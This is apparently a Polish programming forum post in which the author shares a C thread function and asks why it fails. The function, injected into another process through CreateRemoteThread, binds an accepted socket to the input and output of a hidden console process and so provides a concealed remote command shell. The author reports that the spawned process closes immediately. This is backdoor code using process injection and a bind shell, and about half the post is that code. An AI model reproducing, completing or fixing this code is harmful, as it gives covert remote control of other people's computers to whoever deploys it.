static DWORD WINAPI ClientFunct( LPVOID lpParam ) {
pdata2 pmydata2 = (pdata2)lpParam;
SOCKET sock = pmydata2->client_socket;
STARTUPINFO sinfo;
SECURITY_ATTRIBUTES secu_attr;
PROCESS_INFORMATION pinfo;
pmydata2->ZeroMem(&sinfo, sizeof sinfo);
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
sinfo.wShowWindow = SW_HIDE;
sinfo.hStdInput = (HANDLE)sock;
sinfo.hStdOutput = (HANDLE)sock;
sinfo.hStdError = (HANDLE)sock;
pmydata2->CreateProcess(NULL, pmydata2->str_cmd, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &sinfo, &pinfo);
pmydata2->Wait(pinfo.hProcess, INFINITE); //WaitForSingleObject
pmydata2->CloseHandle(pinfo.hProcess);
pmydata2->CloseHandle(pinfo.hThread);
}
Najpierw moze troche wyjasnien. Funkcja, ktora wkleilem jest odpowiedzialna za obsluge klientow. Watek jest uruchamiany gdy accept() zwroci gniazdo, ktore razem z innymi niezbednymi do dzialania funkcji rzeczami jest przekazywane jako parametr. Wywolania funkcji wygladaja tak a nie inaczej poniewaz ten kod ma dzialac w obcej przestrzeni adresowej (eksperymentuje z CreateRemoteThread). Program wydaje sie dzialac poprawnie, jedyny mankament to zamykanie sie procesu (tego wywolanego przez CreateProcess) zaraz po jego utworzeniu. Myslalem, ze to wina gniazda ale sprawdzilem i gniazdo dziala (mozna wysylac). Mam identyczny kod tyle ze pisany normalnie (a nie jako zdalny watek) i dziala poprawnie. Jak ktos wie co jest tego przyczyna albo jeszcze lepiej jak wie jak mi pomoc to bardzo prosze o odpowiedz.